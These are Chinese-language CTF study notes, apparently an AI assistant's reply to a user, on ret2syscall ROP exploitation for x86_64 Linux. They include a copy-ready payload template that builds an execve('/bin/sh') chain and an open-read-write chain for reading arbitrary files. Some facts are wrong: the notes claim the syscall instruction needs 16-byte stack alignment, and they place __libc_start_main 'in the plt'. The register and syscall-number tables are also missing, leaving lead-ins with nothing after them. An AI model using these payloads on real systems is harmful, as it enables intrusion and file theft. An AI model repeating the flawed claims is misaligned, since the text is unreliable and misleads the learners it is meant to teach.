ret2system

目录

1. ret2syscall 利用笔记（适用于 x86_64 Linux）
   1. 基本概念
   2. syscall 调用约定（x86_64）
   3. 查找 syscall gadget
   4. 构造 execve(“/bin/sh”) 示例流程
   5. 跳板栈图（ASCII 栈图示例）
   6. 放置 “/bin/sh” 字符串
   7. 常用 syscall 组合模板
   8. 常见坑位
   9. ret2syscall vs ret2libc / ret2system

ret2syscall 利用笔记（适用于 x86_64 Linux）

基本概念

ret2syscall 是一种 ROP 技术，通过控制寄存器后触发 syscall 指令，直接调用 Linux 内核提供的系统调用。 常见用途：

• 调用 execve("/bin/sh", 0, 0) 获取 shell

• 调用 open/read/write 实现读文件

• 有时用于退出程序（exit）

ret2syscall 的优势是：
不需要 libc，不需要 system，只需要程序里存在 syscall 指令。

syscall 调用约定（x86_64）

Linux 下系统调用通过以下寄存器传参：

触发系统调用必须执行：

1
syscall

常见 syscall ID：

最常见的是构造：

1
execve("/bin/sh", 0, 0)

对应寄存器：

1
rax = 59
2
rdi = "/bin/sh" 地址
3
rsi = 0
4
rdx = 0
5
syscall

查找 syscall gadget

程序中常出现类似：

1
0x401234: syscall

来自：

• 错误处理 stub
• plt 中的 __libc_start_main
• 手动编写的汇编段

查找方式：

1
ROPgadget --binary ./pwn | grep syscall

或 IDA 中搜索：

1
text:0000000000402404    syscall

通常我们只需要 syscall 指令本身即可，因为 rax/rdi/rsi/rdx 用其它 gadgets 设置。

构造 execve(“/bin/sh”) 示例流程

典型 ret2syscall 构造链：

1. 在可控地址放置字符串 “/bin/sh\0”

2. 找到 pop 寄存器的 gadgets:

   • pop rdi; ret

   • pop rsi; ret

   • pop rdx; ret

   • pop rax; ret

3. 设置寄存器

4. 跳到 syscall

跳板栈图（ASCII 栈图示例）

以下是一个典型 top-down 栈图，你偏好的 rbp-x 风格在 ROP 中对应 rsp+x 偏移，我保持一致画法：

1
rsp+0x00  → [ pop rax; ret ]
2
rsp+0x08  → [ 59 ]                  ; execve syscall number
3
rsp+0x10  → [ pop rdi; ret ]
4
rsp+0x18  → [ binsh_addr ]          ; "/bin/sh"
5
rsp+0x20  → [ pop rsi; ret ]
6
rsp+0x28  → [ 0 ]
7
rsp+0x30  → [ pop rdx; ret ]
8
rsp+0x38  → [ 0 ]
9
rsp+0x40  → [ syscall ]             ; 最终触发 execve("/bin/sh",0,0)

真实执行顺序：

1. pop rax → rax=59

2. pop rdi → rdi=“/bin/sh”

3. pop rsi → rsi=0

4. pop rdx → rdx=0

5. syscall → execve(“/bin/sh”)

放置 “/bin/sh” 字符串

一般写在 bss 段：

1
binsh = bss_addr + 0x100
2
payload += pop_rdi; ret
3
payload += binsh
4
payload += write_str("/bin/sh\0")

或直接用 libc 中的地址（如果 libc 泄露了）：

1
next(libc.search(b"/bin/sh"))

但 ret2syscall 通常不依赖 libc，所以推荐写到 bss。

常用 syscall 组合模板

以下结构可直接套用。

execve(“/bin/sh”, 0, 0)

1
payload  = b"A"*offset
2
payload += p64(pop_rax)
3
payload += p64(59)
4
payload += p64(pop_rdi)
5
payload += p64(binsh_addr)
6
payload += p64(pop_rsi)
7
payload += p64(0)
8
payload += p64(pop_rdx)
9
payload += p64(0)
10
payload += p64(syscall)

open-read-write 套路

先打开文件再读写：

1
rax = 2   open
2
rdi = filename
3
rsi = 0
4
rdx = 0
5
syscall
6

7
rax = 0   read
8
rdi = fd
9
rsi = buf
10
rdx = len
11
syscall
12

13
rax = 1   write
14
rdi = 1
15
rsi = buf
16
rdx = len
17
syscall

可用于读 flag、读任意文件。

常见坑位

1. syscall gadget 可能失败

有些程序带自定义沙箱，或者 syscall 在某些段不可执行。

2. 栈对齐问题（非常关键）

在 x86_64 下，执行 syscall 前系统要求：

1
rsp % 16 == 0

否则 crash（或触发意外行为）。

通常让 ret 后的栈地址为：

1
payload_len % 16 == 8

因为 ret 会使 rsp+=8，使其变成 16 对齐。

3. 找不到 pop 寄存器 gadget

可以使用 __libc_csu_init 的万能 gadget（你经常用的 ret2csu）来设置寄存器。

4. 程序中没有 syscall？

这类题会在某处隐藏 syscall，一般在：

1
__libc_start_main init stub
2
错误处理段
3
exit stub

ret2syscall vs ret2libc / ret2system

对比：

在无 PIE、无 NX、无 Canaries 的情况：ret2syscall 是最强武器。